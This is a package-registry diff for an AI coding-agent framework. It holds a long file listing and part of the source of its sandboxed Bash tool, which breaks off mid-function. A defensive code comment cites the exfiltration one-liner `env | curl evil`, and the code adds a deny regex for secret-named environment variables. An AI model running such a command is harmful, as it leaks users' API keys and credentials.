@cjhyy/code-shell-core 0.5.0-rc.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +162 -0
- package/dist/agent/coordinator.d.ts +49 -0
- package/dist/agent/coordinator.js +77 -0
- package/dist/arena/arena.d.ts +43 -0
- package/dist/arena/arena.js +334 -0
- package/dist/arena/context/context-tools.d.ts +16 -0
- package/dist/arena/context/context-tools.js +231 -0
- package/dist/arena/detect-mode.d.ts +20 -0
- package/dist/arena/detect-mode.js +78 -0
- package/dist/arena/digest-builder.d.ts +25 -0
- package/dist/arena/digest-builder.js +120 -0
- package/dist/arena/index.d.ts +29 -0
- package/dist/arena/index.js +29 -0
- package/dist/arena/iterate/convergence.d.ts +25 -0
- package/dist/arena/iterate/convergence.js +103 -0
- package/dist/arena/iterate/formats/index.d.ts +22 -0
- package/dist/arena/iterate/formats/index.js +283 -0
- package/dist/arena/iterate/index.d.ts +11 -0
- package/dist/arena/iterate/index.js +9 -0
- package/dist/arena/iterate/iterative-arena.d.ts +23 -0
- package/dist/arena/iterate/iterative-arena.js +237 -0
- package/dist/arena/iterate/parse.d.ts +42 -0
- package/dist/arena/iterate/parse.js +123 -0
- package/dist/arena/iterate/phases/argue.d.ts +22 -0
- package/dist/arena/iterate/phases/argue.js +159 -0
- package/dist/arena/iterate/phases/revise.d.ts +16 -0
- package/dist/arena/iterate/phases/revise.js +62 -0
- package/dist/arena/iterate/phases/tournament.d.ts +34 -0
- package/dist/arena/iterate/phases/tournament.js +113 -0
- package/dist/arena/iterate/tools/web-tools.d.ts +13 -0
- package/dist/arena/iterate/tools/web-tools.js +54 -0
- package/dist/arena/iterate/types.d.ts +152 -0
- package/dist/arena/iterate/types.js +8 -0
- package/dist/arena/ledger.d.ts +47 -0
- package/dist/arena/ledger.js +151 -0
- package/dist/arena/lenses/architecture.d.ts +5 -0
- package/dist/arena/lenses/architecture.js +22 -0
- package/dist/arena/lenses/engineering.d.ts +5 -0
- package/dist/arena/lenses/engineering.js +22 -0
- package/dist/arena/lenses/general.d.ts +5 -0
- package/dist/arena/lenses/general.js +20 -0
- package/dist/arena/lenses/index.d.ts +16 -0
- package/dist/arena/lenses/index.js +47 -0
- package/dist/arena/lenses/product.d.ts +5 -0
- package/dist/arena/lenses/product.js +22 -0
- package/dist/arena/model-presets.d.ts +23 -0
- package/dist/arena/model-presets.js +44 -0
- package/dist/arena/phases/adjudication.d.ts +24 -0
- package/dist/arena/phases/adjudication.js +144 -0
- package/dist/arena/phases/build-consensus.d.ts +29 -0
- package/dist/arena/phases/build-consensus.js +86 -0
- package/dist/arena/phases/claim-registry.d.ts +26 -0
- package/dist/arena/phases/claim-registry.js +60 -0
- package/dist/arena/phases/cross-review.d.ts +45 -0
- package/dist/arena/phases/cross-review.js +224 -0
- package/dist/arena/phases/debate-rounds.d.ts +27 -0
- package/dist/arena/phases/debate-rounds.js +162 -0
- package/dist/arena/phases/participant-research.d.ts +38 -0
- package/dist/arena/phases/participant-research.js +317 -0
- package/dist/arena/phases/planning-detail-expansion.d.ts +38 -0
- package/dist/arena/phases/planning-detail-expansion.js +121 -0
- package/dist/arena/planner.d.ts +27 -0
- package/dist/arena/planner.js +312 -0
- package/dist/arena/providers/docs.d.ts +6 -0
- package/dist/arena/providers/docs.js +108 -0
- package/dist/arena/providers/git.d.ts +8 -0
- package/dist/arena/providers/git.js +174 -0
- package/dist/arena/providers/index.d.ts +32 -0
- package/dist/arena/providers/index.js +132 -0
- package/dist/arena/providers/none.d.ts +7 -0
- package/dist/arena/providers/none.js +11 -0
- package/dist/arena/providers/repo.d.ts +6 -0
- package/dist/arena/providers/repo.js +255 -0
- package/dist/arena/render/session.d.ts +17 -0
- package/dist/arena/render/session.js +190 -0
- package/dist/arena/render/terminal.d.ts +34 -0
- package/dist/arena/render/terminal.js +286 -0
- package/dist/arena/strategies/discussion.d.ts +25 -0
- package/dist/arena/strategies/discussion.js +143 -0
- package/dist/arena/strategies/index.d.ts +15 -0
- package/dist/arena/strategies/index.js +28 -0
- package/dist/arena/strategies/language-wrapper.d.ts +17 -0
- package/dist/arena/strategies/language-wrapper.js +102 -0
- package/dist/arena/strategies/lens-wrapper.d.ts +16 -0
- package/dist/arena/strategies/lens-wrapper.js +236 -0
- package/dist/arena/strategies/planning.d.ts +30 -0
- package/dist/arena/strategies/planning.js +225 -0
- package/dist/arena/strategies/review.d.ts +26 -0
- package/dist/arena/strategies/review.js +168 -0
- package/dist/arena/strategies/utils.d.ts +39 -0
- package/dist/arena/strategies/utils.js +647 -0
- package/dist/arena/tools/selector.d.ts +17 -0
- package/dist/arena/tools/selector.js +61 -0
- package/dist/arena/transitions.d.ts +48 -0
- package/dist/arena/transitions.js +92 -0
- package/dist/arena/types.d.ts +508 -0
- package/dist/arena/types.js +27 -0
- package/dist/cli/agent-server-stdio.d.ts +32 -0
- package/dist/cli/agent-server-stdio.js +116 -0
- package/dist/colorizer.d.ts +23 -0
- package/dist/colorizer.js +12 -0
- package/dist/context/compaction.d.ts +116 -0
- package/dist/context/compaction.js +534 -0
- package/dist/context/manager.d.ts +145 -0
- package/dist/context/manager.js +423 -0
- package/dist/context/token-counter.d.ts +27 -0
- package/dist/context/token-counter.js +91 -0
- package/dist/context/tool-result-storage.d.ts +96 -0
- package/dist/context/tool-result-storage.js +296 -0
- package/dist/cost-tracker.d.ts +64 -0
- package/dist/cost-tracker.js +314 -0
- package/dist/cron/scheduler.d.ts +34 -0
- package/dist/cron/scheduler.js +115 -0
- package/dist/data/deepseek-models.json +46 -0
- package/dist/data/gemini-models.json +67 -0
- package/dist/data/openai-models.json +175 -0
- package/dist/data/openrouter-models.d.ts +35 -0
- package/dist/data/openrouter-models.js +36 -0
- package/dist/data/openrouter-models.json +4626 -0
- package/dist/data/openrouter-sync.d.ts +16 -0
- package/dist/data/openrouter-sync.js +53 -0
- package/dist/data/static-catalogs.d.ts +25 -0
- package/dist/data/static-catalogs.js +26 -0
- package/dist/data/zai-models.json +56 -0
- package/dist/engine/cost-store.d.ts +22 -0
- package/dist/engine/cost-store.js +15 -0
- package/dist/engine/engine.d.ts +295 -0
- package/dist/engine/engine.js +1467 -0
- package/dist/engine/model-facade.d.ts +24 -0
- package/dist/engine/model-facade.js +194 -0
- package/dist/engine/parse-task.d.ts +59 -0
- package/dist/engine/parse-task.js +135 -0
- package/dist/engine/patch-orphaned-tools.d.ts +52 -0
- package/dist/engine/patch-orphaned-tools.js +95 -0
- package/dist/engine/query.d.ts +50 -0
- package/dist/engine/query.js +107 -0
- package/dist/engine/runtime.d.ts +50 -0
- package/dist/engine/runtime.js +59 -0
- package/dist/engine/streaming-tool-queue.d.ts +34 -0
- package/dist/engine/streaming-tool-queue.js +61 -0
- package/dist/engine/token-budget.d.ts +22 -0
- package/dist/engine/token-budget.js +40 -0
- package/dist/engine/tool-summary.d.ts +13 -0
- package/dist/engine/tool-summary.js +35 -0
- package/dist/engine/turn-loop.d.ts +122 -0
- package/dist/engine/turn-loop.js +602 -0
- package/dist/engine/turn-state.d.ts +20 -0
- package/dist/engine/turn-state.js +17 -0
- package/dist/exceptions.d.ts +61 -0
- package/dist/exceptions.js +116 -0
- package/dist/git/utils.d.ts +35 -0
- package/dist/git/utils.js +98 -0
- package/dist/git/worktree.d.ts +36 -0
- package/dist/git/worktree.js +139 -0
- package/dist/hooks/events.d.ts +114 -0
- package/dist/hooks/events.js +4 -0
- package/dist/hooks/inject.d.ts +19 -0
- package/dist/hooks/inject.js +29 -0
- package/dist/hooks/registry.d.ts +15 -0
- package/dist/hooks/registry.js +84 -0
- package/dist/hooks/shell-runner.d.ts +45 -0
- package/dist/hooks/shell-runner.js +173 -0
- package/dist/index.d.ts +117 -0
- package/dist/index.js +145 -0
- package/dist/llm/api-key-sanitize.d.ts +22 -0
- package/dist/llm/api-key-sanitize.js +81 -0
- package/dist/llm/capabilities/index.d.ts +20 -0
- package/dist/llm/capabilities/index.js +39 -0
- package/dist/llm/capabilities/rules.d.ts +26 -0
- package/dist/llm/capabilities/rules.js +215 -0
- package/dist/llm/capabilities/types.d.ts +114 -0
- package/dist/llm/capabilities/types.js +24 -0
- package/dist/llm/client-base.d.ts +29 -0
- package/dist/llm/client-base.js +137 -0
- package/dist/llm/client-factory.d.ts +10 -0
- package/dist/llm/client-factory.js +29 -0
- package/dist/llm/model-cache.d.ts +21 -0
- package/dist/llm/model-cache.js +46 -0
- package/dist/llm/model-fetcher.d.ts +29 -0
- package/dist/llm/model-fetcher.js +282 -0
- package/dist/llm/model-pool.d.ts +95 -0
- package/dist/llm/model-pool.js +246 -0
- package/dist/llm/provider-catalog.d.ts +32 -0
- package/dist/llm/provider-catalog.js +50 -0
- package/dist/llm/provider-kinds.d.ts +21 -0
- package/dist/llm/provider-kinds.js +132 -0
- package/dist/llm/providers/anthropic.d.ts +19 -0
- package/dist/llm/providers/anthropic.js +267 -0
- package/dist/llm/providers/openai.d.ts +64 -0
- package/dist/llm/providers/openai.js +606 -0
- package/dist/llm/retry.d.ts +12 -0
- package/dist/llm/retry.js +17 -0
- package/dist/llm/stream-watchdog.d.ts +42 -0
- package/dist/llm/stream-watchdog.js +70 -0
- package/dist/llm/token-counter.d.ts +17 -0
- package/dist/llm/token-counter.js +36 -0
- package/dist/llm/types.d.ts +37 -0
- package/dist/llm/types.js +4 -0
- package/dist/logging/logger.d.ts +109 -0
- package/dist/logging/logger.js +390 -0
- package/dist/logging/sanitize-messages.d.ts +42 -0
- package/dist/logging/sanitize-messages.js +150 -0
- package/dist/logging/session-recorder.d.ts +90 -0
- package/dist/logging/session-recorder.js +304 -0
- package/dist/lsp/client.d.ts +41 -0
- package/dist/lsp/client.js +166 -0
- package/dist/lsp/manager.d.ts +40 -0
- package/dist/lsp/manager.js +124 -0
- package/dist/lsp/servers.d.ts +16 -0
- package/dist/lsp/servers.js +60 -0
- package/dist/migrate-models.d.ts +45 -0
- package/dist/migrate-models.js +179 -0
- package/dist/onboarding.d.ts +189 -0
- package/dist/onboarding.js +625 -0
- package/dist/plugins/gitOps.d.ts +32 -0
- package/dist/plugins/gitOps.js +62 -0
- package/dist/plugins/installedPlugins.d.ts +15 -0
- package/dist/plugins/installedPlugins.js +56 -0
- package/dist/plugins/knownMarketplaces.d.ts +10 -0
- package/dist/plugins/knownMarketplaces.js +46 -0
- package/dist/plugins/loadPluginHooks.d.ts +52 -0
- package/dist/plugins/loadPluginHooks.js +162 -0
- package/dist/plugins/marketplaceManager.d.ts +49 -0
- package/dist/plugins/marketplaceManager.js +142 -0
- package/dist/plugins/parseMarketplaceInput.d.ts +16 -0
- package/dist/plugins/parseMarketplaceInput.js +73 -0
- package/dist/plugins/pluginCommandHook.d.ts +54 -0
- package/dist/plugins/pluginCommandHook.js +180 -0
- package/dist/plugins/pluginCommandsLoader.d.ts +25 -0
- package/dist/plugins/pluginCommandsLoader.js +114 -0
- package/dist/plugins/pluginInstaller.d.ts +36 -0
- package/dist/plugins/pluginInstaller.js +228 -0
- package/dist/plugins/schemas.d.ts +9 -0
- package/dist/plugins/schemas.js +136 -0
- package/dist/plugins/types.d.ts +75 -0
- package/dist/plugins/types.js +7 -0
- package/dist/plugins/varRewrite.d.ts +42 -0
- package/dist/plugins/varRewrite.js +129 -0
- package/dist/preset/index.d.ts +60 -0
- package/dist/preset/index.js +159 -0
- package/dist/product/define.d.ts +60 -0
- package/dist/product/define.js +123 -0
- package/dist/product/index.d.ts +5 -0
- package/dist/product/index.js +4 -0
- package/dist/product/types.d.ts +111 -0
- package/dist/product/types.js +21 -0
- package/dist/prompt/composer.d.ts +49 -0
- package/dist/prompt/composer.js +168 -0
- package/dist/prompt/instruction-scanner.d.ts +54 -0
- package/dist/prompt/instruction-scanner.js +187 -0
- package/dist/prompt/section-cache.d.ts +15 -0
- package/dist/prompt/section-cache.js +31 -0
- package/dist/prompt/section-loader.d.ts +26 -0
- package/dist/prompt/section-loader.js +53 -0
- package/dist/prompt/sections/base.md +35 -0
- package/dist/prompt/sections/coding.md +31 -0
- package/dist/prompt/sections/orchestration.md +16 -0
- package/dist/prompt/sections/tone.md +9 -0
- package/dist/protocol/chat-session-manager.d.ts +33 -0
- package/dist/protocol/chat-session-manager.js +65 -0
- package/dist/protocol/chat-session.d.ts +49 -0
- package/dist/protocol/chat-session.js +86 -0
- package/dist/protocol/client.d.ts +104 -0
- package/dist/protocol/client.js +260 -0
- package/dist/protocol/factories.d.ts +93 -0
- package/dist/protocol/factories.js +64 -0
- package/dist/protocol/helpers.d.ts +42 -0
- package/dist/protocol/helpers.js +55 -0
- package/dist/protocol/index.d.ts +4 -0
- package/dist/protocol/index.js +4 -0
- package/dist/protocol/server.d.ts +80 -0
- package/dist/protocol/server.js +855 -0
- package/dist/protocol/transport.d.ts +37 -0
- package/dist/protocol/transport.js +85 -0
- package/dist/protocol/types.d.ts +221 -0
- package/dist/protocol/types.js +61 -0
- package/dist/remote/bridge.d.ts +37 -0
- package/dist/remote/bridge.js +103 -0
- package/dist/run/ArtifactTracker.d.ts +38 -0
- package/dist/run/ArtifactTracker.js +132 -0
- package/dist/run/CheckpointWriter.d.ts +53 -0
- package/dist/run/CheckpointWriter.js +135 -0
- package/dist/run/EngineRunner.d.ts +72 -0
- package/dist/run/EngineRunner.js +119 -0
- package/dist/run/Evaluator.d.ts +56 -0
- package/dist/run/Evaluator.js +62 -0
- package/dist/run/FileRunStore.d.ts +39 -0
- package/dist/run/FileRunStore.js +176 -0
- package/dist/run/Heartbeat.d.ts +54 -0
- package/dist/run/Heartbeat.js +123 -0
- package/dist/run/RunApprovalBackend.d.ts +53 -0
- package/dist/run/RunApprovalBackend.js +85 -0
- package/dist/run/RunLock.d.ts +40 -0
- package/dist/run/RunLock.js +98 -0
- package/dist/run/RunManager.d.ts +82 -0
- package/dist/run/RunManager.js +587 -0
- package/dist/run/RunQueue.d.ts +27 -0
- package/dist/run/RunQueue.js +73 -0
- package/dist/run/RunStore.d.ts +25 -0
- package/dist/run/RunStore.js +9 -0
- package/dist/run/factory.d.ts +63 -0
- package/dist/run/factory.js +51 -0
- package/dist/run/index.d.ts +17 -0
- package/dist/run/index.js +23 -0
- package/dist/run/types.d.ts +136 -0
- package/dist/run/types.js +28 -0
- package/dist/runtime/safe-spawn.d.ts +118 -0
- package/dist/runtime/safe-spawn.js +268 -0
- package/dist/services/analytics.d.ts +29 -0
- package/dist/services/analytics.js +84 -0
- package/dist/services/auto-dream.d.ts +49 -0
- package/dist/services/auto-dream.js +124 -0
- package/dist/services/diagnostics.d.ts +41 -0
- package/dist/services/diagnostics.js +99 -0
- package/dist/services/extract-memories.d.ts +31 -0
- package/dist/services/extract-memories.js +71 -0
- package/dist/services/index.d.ts +11 -0
- package/dist/services/index.js +17 -0
- package/dist/services/memory-orchestrator.d.ts +60 -0
- package/dist/services/memory-orchestrator.js +133 -0
- package/dist/services/notifier.d.ts +25 -0
- package/dist/services/notifier.js +69 -0
- package/dist/services/oauth.d.ts +27 -0
- package/dist/services/oauth.js +153 -0
- package/dist/services/session-memory.d.ts +37 -0
- package/dist/services/session-memory.js +81 -0
- package/dist/session/file-history.d.ts +41 -0
- package/dist/session/file-history.js +115 -0
- package/dist/session/memory.d.ts +104 -0
- package/dist/session/memory.js +310 -0
- package/dist/session/session-manager.d.ts +41 -0
- package/dist/session/session-manager.js +261 -0
- package/dist/session/transcript.d.ts +39 -0
- package/dist/session/transcript.js +186 -0
- package/dist/settings/manager.d.ts +36 -0
- package/dist/settings/manager.js +187 -0
- package/dist/settings/schema.d.ts +1219 -0
- package/dist/settings/schema.js +246 -0
- package/dist/skills/frontmatter.d.ts +13 -0
- package/dist/skills/frontmatter.js +70 -0
- package/dist/skills/index.d.ts +7 -0
- package/dist/skills/index.js +6 -0
- package/dist/skills/scanner.d.ts +31 -0
- package/dist/skills/scanner.js +171 -0
- package/dist/state.d.ts +160 -0
- package/dist/state.js +267 -0
- package/dist/tool-system/builtin/agent-notifications.d.ts +84 -0
- package/dist/tool-system/builtin/agent-notifications.js +197 -0
- package/dist/tool-system/builtin/agent-registry.d.ts +67 -0
- package/dist/tool-system/builtin/agent-registry.js +126 -0
- package/dist/tool-system/builtin/agent-transcript-translator.d.ts +22 -0
- package/dist/tool-system/builtin/agent-transcript-translator.js +160 -0
- package/dist/tool-system/builtin/agent.d.ts +16 -0
- package/dist/tool-system/builtin/agent.js +364 -0
- package/dist/tool-system/builtin/apply-patch/applier.d.ts +26 -0
- package/dist/tool-system/builtin/apply-patch/applier.js +250 -0
- package/dist/tool-system/builtin/apply-patch/index.d.ts +20 -0
- package/dist/tool-system/builtin/apply-patch/index.js +101 -0
- package/dist/tool-system/builtin/apply-patch/parser.d.ts +17 -0
- package/dist/tool-system/builtin/apply-patch/parser.js +212 -0
- package/dist/tool-system/builtin/apply-patch/seek-sequence.d.ts +18 -0
- package/dist/tool-system/builtin/apply-patch/seek-sequence.js +123 -0
- package/dist/tool-system/builtin/apply-patch/types.d.ts +49 -0
- package/dist/tool-system/builtin/apply-patch/types.js +13 -0
- package/dist/tool-system/builtin/arena.d.ts +31 -0
- package/dist/tool-system/builtin/arena.js +416 -0
- package/dist/tool-system/builtin/ask-user.d.ts +20 -0
- package/dist/tool-system/builtin/ask-user.js +99 -0
- package/dist/tool-system/builtin/bash.d.ts +21 -0
- package/dist/tool-system/builtin/bash.js +149 -0
- package/dist/tool-system/builtin/brief.d.ts +6 -0
- package/dist/tool-system/builtin/brief.js +41 -0
- package/dist/tool-system/builtin/config.d.ts +6 -0
- package/dist/tool-system/builtin/config.js +67 -0
- package/dist/tool-system/builtin/cron.d.ts +10 -0
- package/dist/tool-system/builtin/cron.js +61 -0
- package/dist/tool-system/builtin/edit.d.ts +6 -0
- package/dist/tool-system/builtin/edit.js +100 -0
- package/dist/tool-system/builtin/file-cache.d.ts +11 -0
- package/dist/tool-system/builtin/file-cache.js +39 -0
- package/dist/tool-system/builtin/glob.d.ts +7 -0
- package/dist/tool-system/builtin/glob.js +76 -0
- package/dist/tool-system/builtin/grep.d.ts +7 -0
- package/dist/tool-system/builtin/grep.js +150 -0
- package/dist/tool-system/builtin/index.d.ts +20 -0
- package/dist/tool-system/builtin/index.js +449 -0
- package/dist/tool-system/builtin/lsp.d.ts +6 -0
- package/dist/tool-system/builtin/lsp.js +141 -0
- package/dist/tool-system/builtin/mcp-tools.d.ts +10 -0
- package/dist/tool-system/builtin/mcp-tools.js +102 -0
- package/dist/tool-system/builtin/memory.d.ts +26 -0
- package/dist/tool-system/builtin/memory.js +226 -0
- package/dist/tool-system/builtin/notebook-edit.d.ts +6 -0
- package/dist/tool-system/builtin/notebook-edit.js +124 -0
- package/dist/tool-system/builtin/plan.d.ts +15 -0
- package/dist/tool-system/builtin/plan.js +55 -0
- package/dist/tool-system/builtin/powershell.d.ts +11 -0
- package/dist/tool-system/builtin/powershell.js +64 -0
- package/dist/tool-system/builtin/read.d.ts +6 -0
- package/dist/tool-system/builtin/read.js +70 -0
- package/dist/tool-system/builtin/remote-trigger.d.ts +6 -0
- package/dist/tool-system/builtin/remote-trigger.js +54 -0
- package/dist/tool-system/builtin/repl.d.ts +11 -0
- package/dist/tool-system/builtin/repl.js +82 -0
- package/dist/tool-system/builtin/send-message.d.ts +6 -0
- package/dist/tool-system/builtin/send-message.js +47 -0
- package/dist/tool-system/builtin/skill-prompt.d.ts +20 -0
- package/dist/tool-system/builtin/skill-prompt.js +52 -0
- package/dist/tool-system/builtin/skill.d.ts +9 -0
- package/dist/tool-system/builtin/skill.js +55 -0
- package/dist/tool-system/builtin/sleep.d.ts +6 -0
- package/dist/tool-system/builtin/sleep.js +33 -0
- package/dist/tool-system/builtin/task.d.ts +48 -0
- package/dist/tool-system/builtin/task.js +139 -0
- package/dist/tool-system/builtin/tool-search.d.ts +11 -0
- package/dist/tool-system/builtin/tool-search.js +90 -0
- package/dist/tool-system/builtin/web-fetch.d.ts +10 -0
- package/dist/tool-system/builtin/web-fetch.js +328 -0
- package/dist/tool-system/builtin/web-search.d.ts +25 -0
- package/dist/tool-system/builtin/web-search.js +174 -0
- package/dist/tool-system/builtin/worktree.d.ts +10 -0
- package/dist/tool-system/builtin/worktree.js +95 -0
- package/dist/tool-system/builtin/write.d.ts +6 -0
- package/dist/tool-system/builtin/write.js +36 -0
- package/dist/tool-system/context.d.ts +165 -0
- package/dist/tool-system/context.js +18 -0
- package/dist/tool-system/executor.d.ts +49 -0
- package/dist/tool-system/executor.js +495 -0
- package/dist/tool-system/investigation-guard.d.ts +46 -0
- package/dist/tool-system/investigation-guard.js +155 -0
- package/dist/tool-system/mcp-manager.d.ts +67 -0
- package/dist/tool-system/mcp-manager.js +249 -0
- package/dist/tool-system/permission.d.ts +111 -0
- package/dist/tool-system/permission.js +774 -0
- package/dist/tool-system/registry.d.ts +32 -0
- package/dist/tool-system/registry.js +131 -0
- package/dist/tool-system/sandbox/bwrap.d.ts +13 -0
- package/dist/tool-system/sandbox/bwrap.js +63 -0
- package/dist/tool-system/sandbox/index.d.ts +78 -0
- package/dist/tool-system/sandbox/index.js +222 -0
- package/dist/tool-system/sandbox/off.d.ts +2 -0
- package/dist/tool-system/sandbox/off.js +8 -0
- package/dist/tool-system/sandbox/seatbelt.d.ts +18 -0
- package/dist/tool-system/sandbox/seatbelt.js +109 -0
- package/dist/tool-system/task-guard.d.ts +29 -0
- package/dist/tool-system/task-guard.js +70 -0
- package/dist/tool-system/validation.d.ts +5 -0
- package/dist/tool-system/validation.js +39 -0
- package/dist/types.d.ts +376 -0
- package/dist/types.js +4 -0
- package/dist/updater.d.ts +65 -0
- package/dist/updater.js +405 -0
- package/dist/utils/debug.d.ts +41 -0
- package/dist/utils/debug.js +110 -0
- package/dist/utils/earlyInput.d.ts +43 -0
- package/dist/utils/earlyInput.js +166 -0
- package/dist/utils/env.d.ts +24 -0
- package/dist/utils/env.js +104 -0
- package/dist/utils/envUtils.d.ts +51 -0
- package/dist/utils/envUtils.js +135 -0
- package/dist/utils/execFileNoThrow.d.ts +39 -0
- package/dist/utils/execFileNoThrow.js +74 -0
- package/dist/utils/format.d.ts +44 -0
- package/dist/utils/format.js +236 -0
- package/dist/utils/intl.d.ts +22 -0
- package/dist/utils/intl.js +83 -0
- package/dist/utils/lockfile.d.ts +15 -0
- package/dist/utils/lockfile.js +30 -0
- package/dist/utils/memoize.d.ts +19 -0
- package/dist/utils/memoize.js +14 -0
- package/dist/utils/semver.d.ts +6 -0
- package/dist/utils/semver.js +13 -0
- package/dist/utils/sliceAnsi.d.ts +12 -0
- package/dist/utils/sliceAnsi.js +62 -0
- package/dist/utils/systemTheme.d.ts +40 -0
- package/dist/utils/systemTheme.js +108 -0
- package/dist/utils/task-sanitizer.d.ts +6 -0
- package/dist/utils/task-sanitizer.js +24 -0
- package/dist/utils/theme.d.ts +93 -0
- package/dist/utils/theme.js +544 -0
- package/dist/utils/toolDisplay.d.ts +31 -0
- package/dist/utils/toolDisplay.js +188 -0
- package/package.json +72 -0
|
@@ -0,0 +1,149 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Built-in Bash shell command execution tool.
|
|
3
|
+
*
|
|
4
|
+
* Spawns commands under an optional OS-level sandbox (Seatbelt on macOS,
|
|
5
|
+
* bubblewrap on Linux). The sandbox is selected by the Engine and handed
|
|
6
|
+
* down via ToolContext.sandbox. Without a sandbox we fall back to the
|
|
7
|
+
* historical behavior — plain shell spawn in the user's environment.
|
|
8
|
+
*
|
|
9
|
+
* The actual lifecycle (spawn, IO drain, byte cap, abort cascade, timeout
|
|
10
|
+
* cascade, listener cleanup) lives in {@link safeSpawnShell}. This file
|
|
11
|
+
* keeps only Bash-specific concerns:
|
|
12
|
+
*
|
|
13
|
+
* - The env allowlist + deny regex (a Bash threat-model thing — REPL /
|
|
14
|
+
* PowerShell don't have free-form shell injection from the LLM).
|
|
15
|
+
* - The final user-facing output formatting (STDERR: prefix, Exit code,
|
|
16
|
+
* Killed by signal, the truncation message, sandbox denial hints).
|
|
17
|
+
*/
|
|
18
|
+
import { createOffBackend } from "../sandbox/off.js";
|
|
19
|
+
import { safeSpawnShell } from "../../runtime/safe-spawn.js";
|
|
20
|
+
export const bashToolDef = {
|
|
21
|
+
name: "Bash",
|
|
22
|
+
description: "Execute a shell command and return its output. " +
|
|
23
|
+
"Commands run in the user's default shell. Use for system operations, " +
|
|
24
|
+
"git commands, running tests, installing packages, etc.",
|
|
25
|
+
inputSchema: {
|
|
26
|
+
type: "object",
|
|
27
|
+
properties: {
|
|
28
|
+
command: { type: "string", description: "The shell command to execute" },
|
|
29
|
+
timeout: {
|
|
30
|
+
type: "number",
|
|
31
|
+
description: "Timeout in milliseconds (default: 120000). Outer registry caps at 1h.",
|
|
32
|
+
},
|
|
33
|
+
description: {
|
|
34
|
+
type: "string",
|
|
35
|
+
description: "Short description of what the command does",
|
|
36
|
+
},
|
|
37
|
+
},
|
|
38
|
+
required: ["command"],
|
|
39
|
+
},
|
|
40
|
+
};
|
|
41
|
+
const MAX_OUTPUT = 100_000;
|
|
42
|
+
const MAX_BUFFER = 10 * 1024 * 1024;
|
|
43
|
+
/**
|
|
44
|
+
* Env vars that are always safe to forward into the sandboxed shell. We pass
|
|
45
|
+
* through enough for common Unix tooling (locale, PATH, HOME, terminal width)
|
|
46
|
+
* but strip everything else. The Bash tool is the only thing the LLM can
|
|
47
|
+
* directly steer at the shell, and a tainted model with full env access can
|
|
48
|
+
* trivially exfiltrate `OPENROUTER_API_KEY` / `AWS_*` / `SSH_AUTH_SOCK` via
|
|
49
|
+
* `env | curl evil`. Filesystem-level deniedReads don't help once secrets are
|
|
50
|
+
* already in the process environment.
|
|
51
|
+
*
|
|
52
|
+
* `off` backend keeps the historical full-passthrough behavior — the user
|
|
53
|
+
* explicitly opted out of sandboxing.
|
|
54
|
+
*/
|
|
55
|
+
const ENV_ALLOWLIST = new Set([
|
|
56
|
+
"PATH",
|
|
57
|
+
"HOME",
|
|
58
|
+
"USER",
|
|
59
|
+
"LOGNAME",
|
|
60
|
+
"SHELL",
|
|
61
|
+
"LANG",
|
|
62
|
+
"LC_ALL",
|
|
63
|
+
"LC_CTYPE",
|
|
64
|
+
"TERM",
|
|
65
|
+
"TMPDIR",
|
|
66
|
+
"TZ",
|
|
67
|
+
"COLUMNS",
|
|
68
|
+
"LINES",
|
|
69
|
+
"PWD",
|
|
70
|
+
]);
|
|
71
|
+
/**
|
|
72
|
+
* Names matching these patterns are dropped even if they appear in the
|
|
73
|
+
* allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
|
|
74
|
+
* leak just because it starts with `PATH`). Match is case-insensitive on
|
|
75
|
+
* the full name.
|
|
76
|
+
*/
|
|
77
|
+
const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
|
|
78
|
+
function buildSandboxEnv() {
|
|
79
|
+
const out = {};
|
|
80
|
+
for (const name of ENV_ALLOWLIST) {
|
|
81
|
+
const v = process.env[name];
|
|
82
|
+
if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
|
|
83
|
+
out[name] = v;
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
return out;
|
|
87
|
+
}
|
|
88
|
+
export async function bashTool(args, ctx) {
|
|
89
|
+
const command = args.command;
|
|
90
|
+
if (!command)
|
|
91
|
+
return "Error: command is required";
|
|
92
|
+
const timeout = args.timeout || 120_000;
|
|
93
|
+
const cwd = ctx?.cwd ?? process.cwd();
|
|
94
|
+
const shell = process.env.SHELL || "/bin/bash";
|
|
95
|
+
const backend = ctx?.sandbox ?? createOffBackend();
|
|
96
|
+
const env = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
|
|
97
|
+
// A6: lifecycle (spawn, kill cascade, IO drain, byte cap, abort/timeout)
|
|
98
|
+
// is centralized in safeSpawnShell. We still handle Bash's user-facing
|
|
99
|
+
// output formatting here.
|
|
100
|
+
// Capture pre-spawn abort state so we can produce the historical
|
|
101
|
+
// "aborted before starting" message; SafeSpawn collapses both pre- and
|
|
102
|
+
// mid-flight abort to aborted=true.
|
|
103
|
+
const wasAbortedBeforeStart = ctx?.signal?.aborted === true;
|
|
104
|
+
const result = await safeSpawnShell(command, {
|
|
105
|
+
cwd,
|
|
106
|
+
env,
|
|
107
|
+
timeoutMs: timeout,
|
|
108
|
+
maxOutputBytes: MAX_BUFFER,
|
|
109
|
+
sandbox: backend,
|
|
110
|
+
shell,
|
|
111
|
+
signal: ctx?.signal,
|
|
112
|
+
});
|
|
113
|
+
if (result.aborted) {
|
|
114
|
+
return wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.";
|
|
115
|
+
}
|
|
116
|
+
if (result.timedOut) {
|
|
117
|
+
return `Command timed out after ${timeout}ms`;
|
|
118
|
+
}
|
|
119
|
+
if (result.spawnFailed) {
|
|
120
|
+
return `Failed to spawn command: ${result.error ?? "unknown error"}`;
|
|
121
|
+
}
|
|
122
|
+
let output = "";
|
|
123
|
+
if (result.stdout)
|
|
124
|
+
output += result.stdout;
|
|
125
|
+
if (result.stderr)
|
|
126
|
+
output += (output ? "\n" : "") + `STDERR:\n${result.stderr}`;
|
|
127
|
+
if (!output)
|
|
128
|
+
output = "(command completed with no output)";
|
|
129
|
+
const code = result.exitCode;
|
|
130
|
+
const sig = result.signal;
|
|
131
|
+
if (code !== 0 && code !== null) {
|
|
132
|
+
output = `Exit code: ${code}\n${output}`;
|
|
133
|
+
}
|
|
134
|
+
else if (code === null && sig) {
|
|
135
|
+
